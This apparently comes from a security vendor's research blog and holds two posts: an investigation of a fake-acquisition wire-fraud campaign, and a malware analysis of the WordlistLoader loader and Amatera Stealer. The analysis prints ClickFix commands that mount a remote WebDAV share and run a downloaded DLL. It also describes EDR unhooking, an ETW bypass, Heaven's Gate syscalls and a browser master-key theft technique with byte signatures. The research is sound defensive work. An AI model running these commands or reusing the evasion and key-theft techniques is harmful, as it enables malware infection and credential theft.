Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Sr Princ Threat Analysis Engineer

Security Evangelist at Gen

Research

<p>It started with an innocent WhatsApp message.</p><p><em>“Hi David, I hope you are well. Are you at the office?”</em></p><p>The sender claimed to be a real Gen executive based in Dublin. The profile used his name, photograph and an Irish telephone number. Nothing in the opening message mentioned money, urgency or an acquisition. It was simply designed to establish whether the recipient was available and willing to respond.</p><p>The recipient, whom we will call David, worked in Gen’s legal team and knew the colleague being impersonated. The unfamiliar telephone number raised suspicion, and the first phone conversation confirmed it: the caller’s voice did not match.</p><p>David knew he was dealing with a scam. Every subsequent message, call and document formed part of a controlled effort to understand how the operation worked and gather evidence about the people behind it.</p><p>What followed involved a second impersonated identity, forged legal documents, a fictitious confidential acquisition and a request to transfer €626,735.45 to a company in Hong Kong.</p><p>What began as an attack against Gen’s legal team soon revealed a wider pattern. Our researchers found four additional targeted individuals who had received closely related NDA documents. The companies, advisers and acquisition narratives changed, but the structure, communication rules and document fingerprints remained remarkably consistent.</p><p>We call the campaign <strong>Phantom Deal</strong>.</p><h2>A real person, but neither his number nor his voice</h2><p>The first persona claimed to be someone from inside the company. The attacker had selected an identity that made sense in the context of Gen’s international operations and used a phone number with the correct country code to reinforce the illusion.</p><p>The deception did not survive the first call. David knew the person being impersonated, and the voice on the other end was not his.</p><p>After the initial exchange, a second person entered the conversation. This time, the attacker impersonated a genuine professional associated with PwC and asked the target to provide a private email address.</p><p>That request was not incidental.</p><p>The forged NDA that followed instructed the recipient to keep all communication related to the acquisition on WhatsApp and personal email. The attackers tried to keep the entire exchange outside corporate communication channels before introducing any payment request.</p><p>The attackers had also studied Gen’s history. The acquisition narrative referenced Avast Software and NortonLifeLock Ireland Limited, drawing on the real acquisition of Avast by NortonLifeLock in 2022 and the subsequent creation of Gen Digital. The names were familiar, the corporate relationship had existed, and an intercompany transaction could appear plausible to someone operating under pressure and secrecy.</p><p>This was not a generic message sent to thousands of employees. The story had been adapted to its target. The targeting was tailored, but the execution was not flawless. David quickly identified inconsistencies in the explanation for why Avast should make a payment on behalf of NortonLifeLock Ireland Limited. His legal background and familiarity with internal transaction processes made those gaps easier to spot. A more coherent payment narrative could have made the same playbook considerably more convincing.</p>

<h2>The NDA was not supporting material</h2><p>The next stage was a professional-looking NDA branded as a document from PwC.</p><p>Fake legal documents are common in corporate fraud, but the NDA served a more important role than simply making the acquisition story look credible. It established the rules under which the victim was expected to operate.</p><p>The document introduced a confidential acquisition, imposed a strict disclosure regime and set a near-term date for the supposed public announcement. Most importantly, it required communication to take place through WhatsApp and personal email.</p><p>Under normal circumstances, instructions to avoid company systems and exclude colleagues from a major transaction would be obvious warning signs. Inside the fiction created by the NDA, the same behaviour could be presented as a legal obligation.</p><p>The attackers were attempting to turn the company’s own confidentiality culture against it.</p><p>The target was encouraged not to involve colleagues, not to discuss the transaction through normal channels and not to verify the instructions with Legal, Finance, Treasury, Compliance or Corporate Development. A recipient who treated the NDA as genuine would become increasingly isolated from the colleagues most likely to challenge the story.</p><p>The NDA was not an accessory to the attack. It was the payload.</p>

<h2>A deal that had to remain secret</h2><p>The attackers presented the acquisition as a tightly controlled transaction coordinated by a reputable adviser, with only a small group involved and an announcement approaching fast.</p><p>The victim was told that the transaction would become public on June 19, 2026. The NDA had been presented only days earlier.</p><p>That short window created pressure while providing a ready-made explanation for why the operation could not be discussed more broadly.</p><p>The supposed adviser then sent payment instructions asking Avast Software s.r.o. to transfer money on behalf of NortonLifeLock Ireland Limited.</p><p>The amount was precise: €626,735.45.</p><p>The beneficiary was a company in Hong Kong, with the payment described as an “Advance Retainer for Professional Services.” The document stated that the amount would be recorded as an intercompany receivable and reimbursed when the acquisition was formally announced.</p><p>It was a classic advance-payment fraud wrapped in the language of M&amp;A, legal privilege and internal corporate accounting.</p><h2>“I need a SWIFT MT103”</h2><p>Once the payment instructions had been delivered, the tone changed.</p><p>The attacker began following up for confirmation that the transfer had been completed. The target was asked to provide a SWIFT MT103, the banking message used as evidence that an international transfer has been executed.</p><p><em>“I need a swift MT103, it’s an official proof of wire transfer to attached to the package.”</em></p><p>Later, after receiving what appeared to be a confirmation email, the attacker complained that the link would not open and asked for the document as a PDF. He then added another requirement: the confirmation should contain the UETR number, a unique reference used to track a payment through the SWIFT network.</p><p>The request for the MT103 and UETR confirmed the objective. The attackers wanted proof that the funds were moving and the information needed to monitor the transfer, potentially reducing the time available for the company or its bank to intervene.</p>

<h2>Turning the attack into intelligence</h2><p>Once David had identified the scam, the objective shifted from verification to intelligence gathering. Working with our researchers, he continued the exchange while the team controlled the material being sent and monitored how the operation responded.</p><p>A fake account statement was prepared, showing what appeared to be the requested payment and the remaining company balance. The document contained a hidden marker that could identify whether it was opened on a system protected by one of our products.</p><p>When the attackers requested formal MT103 confirmation, the team also created a fake Citibank-style confirmation email. It contained the transaction amount, beneficiary and payment reference expected by the criminals, together with a link to view the full transaction details.</p><p>The link did not lead to real banking information. It contained a canary token, allowing our researchers to record when it was opened.</p><p>When he reported that the link was not working, the team suggested that his VPN might be causing the problem and asked him to disable it. Further access attempts followed within minutes.</p><p>The token recorded 49 HTTP requests from 43 IP addresses over 24 days. Most of the activity in the first minutes came from automated scanners, cloud services and redirect-analysis systems, so the raw count does not represent 49 actions by the attacker.</p><p>After filtering that noise, the remaining data showed repeated interaction through VPNs, proxy services and several non-hosting internet connections. Some visits were separated by hours or days and used different browser profiles, behaviour consistent with a person returning to the link and attempting to retrieve the promised payment information.</p><p>The network data helped us separate scanner traffic, proxy infrastructure and repeated manual access, but it was not enough to attribute the operation. Some later visits came from ordinary ISP ranges, although those connections show where the traffic exited, not necessarily where the fraudsters were located.&nbsp;</p><p>The later visits showed repeated manual access by someone connected to the fraud operation, including long after the supposed transfer should have been completed.</p>

<h2>From one attack to a wider campaign</h2><p>The controlled interaction gave us visibility into the live fraud attempt, while the forged NDA gave us something else: a set of document fingerprints we could hunt for.</p><p>Using its structure, wording and embedded identifiers, the team found four additional NDA samples connected to other targeted individuals.</p><p>The organizations and professions varied. The targets included senior people in private equity, industrial finance, sales, mining and energy. For each of them, an acquisition or strategic investment narrative would have been credible enough to justify initial engagement.</p><p>The advisers also changed. Some documents impersonated PwC, while others used KPMG or Ogier branding. There is no indication that any of these firms were compromised or involved in the operation. Their names and identities were being abused to make the documents appear legitimate.</p><p>Despite the different branding, the documents followed substantially the same sequence of sections and reused the same legal language. They all imposed confidentiality, directed communications towards WhatsApp and personal email, and introduced a short period between the NDA date and the supposed public announcement.</p><p>They also contained the same unusual numeric identifier across documents attributed to different firms and prepared for unrelated recipients. This kind of residue is common when criminals reuse document templates. Names, dates, logos and transaction references may be changed, while less visible elements remain untouched.</p><p>The repeated structure suggests that the attackers were not building each operation from scratch. They had developed a reusable M&amp;A fraud package that could be adapted to different people and companies.</p><p>In the Gen case, we observed the complete chain, from WhatsApp contact to payment request and demand for MT103 confirmation. For the other four targets, we found the malicious NDA documents carrying the same core narrative and document fingerprints, but did not observe the later payment stage.</p><p>Taken together, the evidence points to a wider M&amp;A-themed fraud campaign built around the same narrative and document toolkit. It does not establish that every target received identical payment instructions or that every document was operated by the same individual.</p><h2>No malware, no compromised mailbox</h2><p><strong>Phantom Deal</strong> did not require an exploit, malicious attachment or stolen corporate email account.</p><p>The operation drew on publicly available information, real names, photographs, company history and familiar business procedures. WhatsApp made the contact immediate, the forged NDA justified secrecy, and the acquisition narrative created the urgency needed to move the victim towards payment. The financial request appeared only after the surrounding story had been established.</p><p>A security team searching only for malware or suspicious email links could miss the entire operation.</p><p>The attack was designed to induce a process failure rather than exploit a technical vulnerability. The criminals attempted to convince the target that bypassing normal controls was necessary to protect a confidential deal.</p><p>The warning signs appeared well before the Hong Kong bank account. Keeping a sensitive corporate transaction on WhatsApp and personal email was already enough to require independent verification.</p><h2>How companies can interrupt the chain</h2><p>Confidential transactions require restricted access, but secrecy should never remove independent verification.</p><p>Organizations can reduce exposure by establishing a small number of rules that apply even to the most sensitive acquisitions, investments and restructuring projects:</p><ul type="disc"><li data-list-item-id="e79a03ebdcc50053e9752b64215ac6d0d">Payment instructions must be verified through an independently established channel, not through contact details supplied during the transaction.</li><li data-list-item-id="e56458281a15b902c959078fd579c2999">No executive, adviser or board member should be able to override payment controls through WhatsApp, personal email or a confidentiality claim.</li><li data-list-item-id="e18c724391af3cb0258190c8ed3abd5c9">Legal, Finance, Treasury and Corporate Development teams should have a defined escalation route for unexpected transaction requests.</li><li data-list-item-id="e14239b646035ac07ac66d03bc0296926">Staff involved in payments should be trained to recognize requests for MT103 documents, UETR references and other confirmation data as part of the fraud chain, not merely as administrative follow-up.</li><li data-list-item-id="ea23d5cfe13818e8eefd6ca3cdb93d591">External advisers should be contacted using verified directory information whenever their identity or instructions are in doubt.</li><li class="ck-list-marker-bold" data-list-item-id="edfd65aefb0bda3b6fe5bc0523c729c49"><strong>Changes of communication channel, especially from corporate systems to private accounts, should trigger additional scrutiny.</strong></li></ul><p>The same rules must apply when the request appears to come from the CEO, a board member or someone already known to the recipient.</p><h3>An NDA can limit who is told about a transaction. It should never prevent the transaction from being authenticated.</h3><h2>Real details, false transaction</h2><p><strong>Phantom Deal</strong> drew credibility from genuine information. The people, companies and advisers were real, as was the acquisition history connecting Gen and Avast. International payments, professional retainers and intercompany receivables are also normal elements of large corporate transactions.</p><p>The transaction tying those details together was fabricated, and the execution was uneven. The caller’s voice did not match the colleague being impersonated, while the explanation for the payment contained inconsistencies that a lawyer familiar with the company’s processes could identify quickly. A more coherent story might have been considerably more dangerous.</p><p>Why try this against a security company? Probably for the same reason they try it anywhere else: a security company is still a company. It has money, confidential transactions and employees whose jobs do not involve analysing scams. The attackers were not trying to defeat our security technology. They were trying to find one person who might accept the story and step outside the normal process.</p><p>In this case, they chose someone who knew the colleague, recognized that the voice did not match and understood that the payment explanation made no sense. From that moment, the supposed victim was no longer following their script. He was helping us investigate it.</p><p>There is also some irony in how it ended. After spending days building a narrative around trust, secrecy and urgency, someone connected to the fraud operation repeatedly interacted with the fake payment confirmation we placed in front of them.</p><p>The NDA was intended to keep the operation confidential. Its reused language, structure and identifiers ultimately helped expose the campaign behind it.</p>

Attackers posed as executives, moved conversations to WhatsApp and personal email, and forged acquisition documents to set up international wire transfers. When they targeted Gen, researchers played along, exposing a wider M&A scam.

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

Threat Researcher at Gen

<h2>Key Points</h2>
<ul>
<li>
<p>Gen Threat Labs has identified WordlistLoader, a new loader used to deliver Amatera Stealer via ClearFake campaigns.</p>
</li>
<li>
<p>Amatera has been actively developed over the past few months and has gradually become one of the most prevalent infostealers in our user base.</p>
</li>
<li>
<p>In this technical blog post, we highlight the changes Amatera has introduced between version 4.0.2 Beta (documented by <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire</a>) and version 4.3.3-alpha1, the latest version at the time of writing.</p>
</li>
<li>
<p>Key changes include enhanced static obfuscation, hardened syscall invocation through the WoW64 transition, dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and a redesigned Application-Bound Encryption bypass.</p>
</li>
</ul>

<h2>Introduction</h2>
<p>Over the past few months, Amatera Stealer (also often referred to as ACR Stealer) has been actively developed and has gradually become one of the most prevalent infostealer in our user base. Most recently, we've been observing Amatera being distributed via ClearFake campaigns leveraging FakeCaptchas.</p>
<p>Although FakeCaptcha, as a technique, is well-known and has been documented countless times, it has proven to be one of the most effective social engineering techniques for luring victims into infecting their own machines, which is why we still keep seeing it so often in malware campaigns, and why we proactively defend against these types of attacks with our <a href="https://www.gendigital.com/blog/news/family-of-brands/clipboard-protection">Clipboard protection</a>.</p>
<p>In the case of ClearFake campaings, FakeCaptchas are served through compromised, legitimate websites, via injected malicious JavaScripts that overlay a fake CAPTCHA verification on top of the real website. Once the visitor clicks on the "I'm not a robot" checkbox, they're walked through the well-known ClickFix flow, where a malicious command is copied into their clipboard and the victim is instructed to paste it into the Windows Run dialog and execute it, leading to the download of WordlistLoader that ultimately results in the execution of Amatera.</p>

<p>As for the aforementioned injected JavaScript, it is embedded in the webpage as a Base64-encoded blob. The blob contains obfuscated JavaScript whose purpose is to retrieve another JavaScript from a smart contract stored on a blockchain (a technique known as EtherHiding), and dynamically execute the retrieved code. Through several subsequent stages, the retrieved code performs additional checks and ultimately injects a fake CAPTCHA into the compromised webpage.</p>

<p>Since the whole chain of how the fake CAPTCHA reaches the webpage has already been documented by <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">Expel</a>, we do not cover it further here. Interested readers can refer to <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">their article</a>. Instead, we focus on what happens when the user executes the copied command.</p>
<p>The clipboard commands follow a consistent pattern: they use <code>conhost</code> to launch a hidden <code>cmd</code> process, map a remote WebDAV share using <code>pushd</code>, and finally invoke the <code>Run</code> export of the downloaded DLL (WordlistLoader) via <code>rundll32</code>.</p>
<p><code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\kudbwiw\[.\]shop-nitrilean.com!s!\96fd1e29-81b3-4b81-9231-2c7e2f78ae48 &amp; r^undl^l32 gmwmvymdzgqgptwvbslq.dll,Run"</code></p>
<p><code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\nqhuew\[.\]shop-thyrafemmebalance.com!s!\34fe76b7-73a8-42f7-bfc0-089b5069cff7 &amp; ru^ndl^l32 azjsbxanuofzndqtmtlv.dll,Run"</code></p>
<p><code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\lldoxqa\[.\]shop-nitrilean.com!s!\df696b95-bdff-48c0-94da-68eb6598a012 &amp; r^undl^l32 dldwwqhuxbpvaqeyylar.dll,Run"</code></p>
<p>This pattern closely resembles campaigns recently documented by <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/#campaign-1-webdav-based-clickfix-with-python-loaders-and-blockchain-c2">Microsoft</a>, suggesting an evolution of the distribution chain, with the operators using a similar delivery mechanism while replacing the Python-based loaders with WordlistLoader.</p>

<h2>WordlistLoader</h2>
<p>The primary purpose of WordlistLoader, an intermediate stage in the Amatera infection chain, is to reconstruct a shellcode that serves as the entry point for subsequent stages. Before transferring control to the shellcode, WordlistLoader performs three preparatory actions, two of which serve as defense-evasion mechanisms:</p>
<ul>
<li>
<p>A single-instance check based on a named event</p>
</li>
<li>
<p>Unhooking of all loaded modules</p>
</li>
<li>
<p>An ETW bypass based on a hardware breakpoint and VEH</p>
</li>
</ul>

<h3>Unhooking Loaded Modules</h3>
<p>To determine whether a function is hooked, WordlistLoader enumerates loaded modules with <code>CreateToolhelp32Snapshot</code> using the <code>TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32</code> flags, skips those whose name contains <code>.exe</code>, and compares the first instruction of each named export with the corresponding instruction in a clean copy read from disk.</p>

<p>A function is considered hooked when its in-memory prologue begins with one of the following jump opcodes and the clean copy does not, or when both begin with a jump, but to a different target:</p>
<ul>
<li><code>E9</code> (near relative jump)</li>
<li><code>EB</code> (short relative jump)</li>
<li><code>EA</code> (far absolute jump)</li>
<li><code>FF</code> (indirect jump, although only <code>FF 25</code>, i.e. <code>jmp dword ptr [addr]</code>, is handled correctly)</li>
</ul>
<p>Before the opcode is read, a single legacy prefix (<code>0x2E</code>, <code>0x36</code>, <code>0x3E</code>, <code>0x64</code>, <code>0x65</code>, <code>0x66</code>, <code>0xF0</code>, or <code>0xF2</code>) is skipped on either side, so that a prefixed jump is not mistaken for untouched code. Additionally, if the in-memory prologue is not a jump but matches <code>4C 8B D1 E9</code>, i.e. an x64 syscall stub (a <code>mov r10, rcx</code> followed by a jump instruction), the comparison is shifted three bytes forward to start at the jump. Whenever a hook is detected, the loader computes the length of the offending jump and restores the original bytes from the clean copy.</p>

<p>Notably, the copy read from disk is never relocated, which is precisely why the loader checks for a jump instead of simply diffing the two prologues, as a mapped module legitimately differs from its on-disk copy wherever an absolute address appears. This is exactly the case with <code>FF 25</code> thunks, where WordlistLoader compares only the low 16 bits of the pointer, which the relocation delta cannot affect, as image bases are always aligned to 64 kB.</p>

<h3>ETW Bypass</h3>
<p>The second defense-evasion mechanism employed by WordlistLoader is a hardware-breakpoint-based ETW (Event Tracing for Windows) bypass, which comes down to setting a hardware breakpoint on <code>ntdll!NtTraceEvent</code> and registering a vectored exception handler. Every call to <code>NtTraceEvent</code> then raises an <code>EXCEPTION_SINGLE_STEP</code> exception, which the handler resolves by pointing the instruction pointer (<code>EIP</code>) at a stub that does nothing but return zero, and resuming execution there. Execution therefore never reaches the body of <code>NtTraceEvent</code>, so the event is never logged, and since the call still returns <code>STATUS_SUCCESS</code> (<code>0x00000000</code>), the caller has no indication anything went wrong.</p>

<h3>Building the Shellcode</h3>
<p>Finally, the loader proceeds to reconstruct the shellcode, which is stored in encoded form as a sequence of plain English words, with each word representing exactly one byte. The mapping from English words to byte values is defined by a build-specific wordlist of 256 distinct words: the word at index 0 decodes to <code>0x00</code>, the word at index 144 to <code>0x90</code>, and so on.</p>
<p>Both the wordlist and the encoded sequence are stored as arrays of pointers, so the loader matches addresses rather than the strings themselves. Rebuilding the shellcode thus comes down to iterating over the word sequence, looking up each word in the list, and writing the index of the matching entry into the output buffer. Once the entire sequence has been processed, the buffer contains the reconstructed shellcode. Hence the name WordlistLoader.</p>

<p>Notably, we also identified a modified version of WordlistLoader in which the wordlist is replaced with an array of UUIDs, while the loader's execution flow otherwise remains unchanged. Rather than encoding the shellcode one byte at a time, this variant represents it as a sequence of 16-byte UUID-encoded chunks. The loader reconstructs the shellcode by iterating over the array and passing each entry to <code>UuidFromStringA</code>, which converts the UUID into the corresponding 16 bytes of shellcode.</p>

<h3>The Shellcode</h3>
<p>The shellcode begins with a NOP sled, followed by an anti-emulation stub whose sole purpose, apart from burning time, is to repeatedly patch a single byte. Using the standard <code>call/pop</code> trick, the stub takes its own return address as the patching target and enters an outer loop of 254 rounds, with each iteration first executing an inner delay loop and then patching the target address (which is the same for every iteration). The value written decreases with every round, ultimately reaching <code>0x90</code> on the final iteration. As shown in Figure 11 below, the patched byte is part of a <code>call dword ptr [eax-0x6F6F6F70]</code> instruction, which corresponds to the <code>FF 90 90 90 90 90</code> opcodes. Therefore, overwriting the first byte with <code>0x90</code> turns the <code>call</code> instruction into a run of NOPs, allowing execution to fall through to the decryption stub that follows.</p>
<p>The stub's anti-emulation purpose is apparent from its runtime cost, as each of the 254 patches is preceded by the delay loop of 16,777,215 (<code>0xFFFFFF</code>) iterations that perform no meaningful computation.</p>

<p>Execution then proceeds to the decryption stub, which uses the same <code>call/pop</code> trick to obtain a pointer to the encrypted blob that follows. The blob consists of a sequence of 33-byte records, each comprising a one-byte XOR key followed by 32 encrypted bytes, together forming a next stage executed afterward. For each record, the stub XORs the 32 encrypted bytes with that record's key and writes them back into the same buffer, dropping the key bytes and repeating this cycle until it encounters a <code>0x11C311C3</code> marker terminating the stream.</p>
<p>Finally, execution is transferred to the decrypted code, which resolves <code>NtProtectVirtualMemory</code>, re-protects the region as <code>PAGE_EXECUTE</code> (dropping the write access needed for the in-place decryption), and hands control over to a reflective loader responsible for unpacking and loading Amatera.</p>

<p>Interestingly, the reflective loader is identical to the one <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire documented</a> several months ago, suggesting it might originate directly from the Amatera authors. As for WordlistLoader, we've only observed it delivering Amatera, which would point in the same direction, though we have no further evidence to support that claim.</p>

<h2>Amatera 4.3.3-alpha1</h2>
<p>Amatera was recently <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">documented by eSentire</a>, covering version 4.0.2 Beta. Since then, however, the stealer has remained under active development and has moved through several versions, with the latest one we have observed being 4.3.3-alpha1. In this section, we focus on the changes introduced between version 4.0.2 Beta and version 4.3.3-alpha1.</p>
<h3>Static Obfuscation</h3>
<p>First of all, Amatera has undergone several updates in terms of static obfuscation. The first major change was introduced in version 4.1.0-alpha.1, when Amatera began incorporating control-flow flattening and indirect control-flow obfuscation into its builds, roughly doubling the size of the resulting binaries.</p>

<p>Another notable change concerns API hashing. In version 4.0.2 Beta, all imports were resolved using a single hashing algorithm, so precomputing the hashes once was sufficient to annotate every call. In newer versions, the resolution is spread across dozens of nearly identical resolvers, each using its own multiply-rotate-XOR hash with different constants and operation order. Consequently, the same API name maps to a different hash value depending on which resolver handles the call. Hashes must therefore be precomputed separately for each resolver, slowing down the analysis.</p>
<p>Finally, as is quite typical for Amatera, it has revised its string obfuscation once again. Each string is now stored as a ciphertext blob, with its length and a numeric key index supplied at the decryption call site. For every byte, the key index and the byte's offset are mixed into a 64-bit state through four splitmix64-style rounds, producing four key bytes. The plaintext byte is then recovered as <code>ROR((ciphertext ^ key_3) - key_2, key_1) ^ key_0</code>.</p>
<p>Interestingly, the decryption routine also employs a deliberate stack modification aimed at thwarting decompilation. The modification occurs in a dead branch guarded by a flag that is never set anywhere in the binary. Should the branch ever be taken, it would subtract <code>0x7FFFFF00</code> from <code>ESP</code>, call a stub that does nothing but return zero, and add the same value back to <code>ESP</code>. Such a stack shift (of almost 2 GB) is nothing a regular compiler would ever emit, and is enough to break IDA's stack-frame reconstruction and make it refuse to decompile the function. For now, we have only observed this trick in a single function, but given the pace at which Amatera evolves, it would not be surprising to see it spread across the whole binary in the future.</p>

<h3>Hardened Syscall Invocation Through the WoW64 Transition</h3>
<p>First, it is appropriate to acknowledge <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">Stephen Eckels</a>, whose article <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">WOW64!Hooks: WOW64 Subsystem Internals and Hooking Techniques</a> explains the mechanisms discussed below in greater detail. Second, it is worth highlighting that Amatera is a 32-bit stealer, as that is what makes the techniques described below possible.</p>
<p>In a 32-bit process running on 64-bit Windows, every interaction with the operating system has to eventually end in the 64-bit kernel. From the process's point of view, however, everything has to look as if it were running on 32-bit Windows. That is where the WoW64 (Windows on Windows) layer comes into play, seamlessly translating WinAPI calls from 32-bit user space to the 64-bit operating system kernel. Simply put, the whole mechanism is built around the fact that the process runs with two ntdlls loaded side by side: the 32-bit one the application interacts with, which "forwards" the call to the WoW64 layer, and the 64-bit one, used once the call reaches 64-bit mode.</p>
<p>In practice, the application calls a function in the 32-bit ntdll, which passes control to <code>ntdll!Wow64SystemServiceCall</code>. From there, the execution continues through <code>ntdll!Wow64Transition</code> and lands in <code>wow64cpu!KiFastSystemCall</code>, the stub through which the WoW64 layer leaves the 32-bit world. The transition is achieved by a far jump using the <code>0x33</code> selector, which switches the processor into 64-bit mode, where the WoW64 layer issues the actual syscall.</p>
<p>In an effort to be stealthier and evade user-mode hooks, Amatera skips the 32-bit ntdll part of that chain altogether, resolving the syscall numbers on its own and entering the WoW64 layer directly through <code>wow64cpu!KiFastSystemCall</code>. The transition itself is performed as an indirect call to <code>TEB-&gt;WOW32Reserved</code>, a field that conveniently holds the address of <code>wow64cpu!KiFastSystemCall</code>.</p>
<p>In version 4.0.2 Beta, Amatera had a dedicated stub for every syscall it wanted to invoke this way, each of them loading the masked SSN from a global, unmasking it with a XOR, and calling <code>TEB-&gt;WOW32Reserved</code> directly through the <code>call large dword ptr fs:0C0h</code> instruction. However, regular applications do not make direct calls to <code>TEB-&gt;WOW32Reserved</code>, making the sequence fairly noisy.</p>

<p>That is why, in newer versions, Amatera no longer invokes <code>TEB-&gt;WOW32Reserved</code> directly. Instead, it uses indirect calls routed through a global variable holding the same transition address. On top of that, most of the stubs have been padded with random junk instructions scattered between the remaining instructions, so that the stubs leave behind neither the <code>fs:0C0h</code> reference nor the uniform layout.</p>

<p>Moreover, the address of <code>wow64cpu!KiFastSystemCall</code> that is stored in that global variable is not retrieved by a simple read of <code>fs:[0xC0]</code>, but through a dedicated Heaven's Gate stub. Newer versions also check the resolved transition address before putting it to use, by verifying that it falls within the range of <code>wow64cpu.dll</code>, i.e. that the gate has not been redirected elsewhere (hooked).</p>

<h3>x64 Syscall Trampolines Executed Through Heaven's Gate</h3>
<p>Being a 32-bit process, however, also brings other challenges Amatera has to deal with, most notably when interacting with 64-bit browsers during the Application-Bound Encryption (ABE) bypass. Reaching into a 64-bit process requires working with 64-bit pointers, which do not fit through the WoW64 gate, and while the 32-bit ntdll exposes a handful of <code>NtWow64*</code> helpers for exactly that purpose (such as, for example, <code>NtWow64AllocateVirtualMemory64</code> or <code>NtWow64WriteVirtualMemory64</code>), they do not cover everything Amatera requires for its injection technique.</p>
<p>That is why Amatera employs Heaven's Gate, a technique that allows 64-bit code to be executed from within a 32-bit process on a 64-bit operating system (essentially, a manual version of the mode switch the WoW64 layer performs internally, naturally skipping the 32-bit ntdll layer as well). Heaven's Gate, as such, however, is nothing new in Amatera and has been there for quite some time already. What has changed is what the Gate leads to for a part of the calls Amatera makes through it.</p>
<p>In version 4.0.2 Beta, Amatera used Heaven's Gate to invoke 64-bit ntdll exported functions, passing the arguments according to the standard Microsoft x64 calling convention, with the execution therefore going through the export's prologue. However, just as AV and EDR products can hook exported functions in the 32-bit ntdll, they can hook the 64-bit ones as well. To avoid that, in newer versions, a fixed set of twelve syscalls (for example, <code>NtReadVirtualMemory</code>, <code>NtWriteVirtualMemory</code>, <code>NtAllocateVirtualMemory</code>, <code>NtMapViewOfSection</code>, and <code>NtSetIoCompletion</code>) is set up to skip the export entirely, with Amatera resolving their syscall numbers on its own (and validating them against a pristine copy of ntdll read from disk) and issuing each call through an indirect x64 syscall trampoline built at runtime.</p>
<p>Each trampoline consists of a 24-byte stub containing <code>mov r10, rcx</code>, <code>mov eax, SSN</code>, and a RIP-relative indirect jump to a <code>syscall; ret</code> gadget inside ntdll (located by scanning the ntdll mapped in memory). To build and execute them, Amatera creates a section with <code>NtCreateSection</code> and maps it twice in its own process using <code>NtMapViewOfSection</code>: once with <code>RW</code> permissions for writing the stubs and once with <code>RX</code> permissions for running them.</p>

<h3>Revamped Application-Bound Encryption Bypass</h3>
<p>Up until recently, Amatera bypassed Application-Bound Encryption the same way most stealers do, i.e., by injecting a payload into the browser process and invoking <code>IElevator::DecryptData</code> through the COM interface to decrypt the <code>v20_master_key</code> directly from the browser's context.</p>
<p>Since version 4.1.0-alpha.1, however, the bypass has been revamped into an approach that closely resembles that of Remus/Lumma. In fact, the bypass is so alike that we believe Amatera's implementation was directly inspired by it. Therefore, as we have already covered the technique in <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">our previous blog post</a>, we will only do a quick recap of the bypass's main idea and focus solely on where Amatera's approach differs. For interested readers, we recommend revisiting our earlier post.</p>
<p>From a high-level perspective, the bypass relies on the fact that a running Chromium-based browser keeps the <code>v20_master_key</code> stored in memory. There, however, the key is protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag, which limits decryption to the process that encrypted the data. Therefore, the bypass comes down to locating the protected key and injecting a payload that decrypts it using the complementary <code>CryptUnprotectMemory</code> from within the browser's context.</p>
<p>To find the key, Amatera, just like Remus and Lumma, scans the browser's memory for a 20-byte pattern, trying to find the <code>lea</code> instruction that loads the address of the <code>os_crypt_async::Encryptor</code> vftable, as that is the class holding the protected <code>v20_master_key</code>. On a match, it resolves the vftable address using the displacement of the <code>lea</code> instruction, and since a pointer to it sits at the very beginning of every instance of that class, a second scan of the browser's memory makes it possible to locate a live instance holding the key. From there, extracting the protected <code>v20_master_key</code> is just a matter of walking the object's tree of key entries and taking the one tagged <code>v20</code>.</p>
<p>The clearest evidence of the shared origin, however, is the signature itself. Amatera builds the pattern as <code>48 8D 05 00 00 00 00 48 89 01 48 8B 02 48 89 41 00 48 8D 41</code> and pairs it with the wildcard mask <code>0xEFF87</code>, the very same mask Remus applies to <code>48 8D 05 8B CC 8D 02 48 89 01 48 8B 02 48 89 41 5B 48 8D 41</code>. Breaking it down, the only positions in which the two patterns differ are the four displacement bytes of the <code>lea</code> instruction and the displacement byte of the <code>mov</code> instruction. These are precisely the five bytes the mask excludes from the comparison, which Amatera leaves zeroed out, while Remus keeps the values from whichever <code>chrome.dll</code> build the pattern was lifted from. Everything else, the mask included, matches byte for byte.</p>

<p>Where Amatera's approach differs is in the size of the injected payload and the way it is injected into the browser. Remus and Lumma get by with less than a hundred bytes of shellcode as the payload has a single job: to call <code>CryptUnprotectMemory</code> on the memory pointing to the encrypted <code>v20_master_key</code> and copy it into a pre-allocated buffer. Amatera's payload is considerably larger (thousands of bytes), but it also does considerably more. Besides the logic for decrypting the key, the payload carries the entire logic for locating it, as well as the logic for recovering the legacy <code>v10_master_key</code>.</p>
<p>To get the payload into the browser, Amatera creates two sections and maps each twice, once locally and once in the browser. The first section holds the payload, mapped locally as <code>RW</code> and <code>RX</code> in the browser, whereas the second carries a configuration blob and the output area for the recovered keys, mapped as <code>RW</code> on both sides. The configuration blob holds the pointers to the native and crypto functions used by the payload, the path to the browser's <code>Local State</code>, the address of the encrypted <code>v20_master_key</code>, and the already mentioned ABE pattern with the mask should the payload need to locate the key again (by default, the key is located by the stealer itself, reading the browser's memory remotely, but the payload can repeat the search on its own as a fallback).</p>
